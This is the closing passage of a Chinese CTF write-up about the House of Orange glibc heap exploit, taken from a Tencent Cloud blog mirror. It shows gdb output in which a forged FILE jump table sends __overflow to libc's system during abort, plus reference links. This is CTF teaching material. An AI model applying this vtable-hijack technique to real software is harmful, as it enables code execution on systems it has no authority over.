──────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffcd401da30 ◂— 0x3a30302030303030 ('0000 00:')
01:0008│      0x7ffcd401da38 ◂— 0x66370a2030203030 ('00 0 \n7f')
02:0010│      0x7ffcd401da40 ◂— 0x3063383135396436 ('6d9518c0')
03:0018│      0x7ffcd401da48 ◂— 0x39643666372d3030 ('00-7f6d9')
04:0020│      0x7ffcd401da50 ◂— '518d000 }'
05:0028│      0x7ffcd401da58 ◂— 0x7d /* '}' */
06:0030│      0x7ffcd401da60 —▸ 0x7ffcd401de20 ◂— 0x20 /* ' ' */
07:0038│      0x7ffcd401da68 ◂— 0x7d /* '}' */
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► f 0     7f6d94c19193 _IO_flush_all_lockp+371
   f 1     7f6d94bd3fbd abort+253
   f 2     7f6d94c147ea
   f 3     7f6d94c1f13e _int_malloc+1470
   f 4     7f6d94c1f13e _int_malloc+1470
   f 5     7f6d94c21184 malloc+84
   f 6     55fc6549cd6d
   f 7     55fc6549d402
   f 8     7f6d94bbd830 __libc_start_main+240
gdb-peda$ x 0x7f6d94be2390
0x7f6d94be2390 <__libc_system>:	0xfa86e90b74ff8548

那个rax就是jump table了

代码语言:javascript
代码运行次数:0
运行
复制
gdb-peda$ p *(struct _IO_jump_t *)$rax
$28 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x0, 
  __overflow = 0x7f6d94be2390 <__libc_system>, 
  __underflow = 0x0, 
  __uflow = 0x0, 
  __pbackfail = 0x0, 
  __xsputn = 0x0, 
  __xsgetn = 0x0, 
  __seekoff = 0x0, 
  __seekpos = 0x0, 
  __setbuf = 0x0, 
  __sync = 0x0, 
  __doallocate = 0x0, 
  __read = 0x0, 
  __write = 0x0, 
  __seek = 0x0, 
  __close = 0x0, 
  __stat = 0x0, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}

reference

http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 讲解题目
  • exp
  • 附录——调试最后的流程劫持过程
  • 附录2:_IO_flush_all_lockp流程
  • reference
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档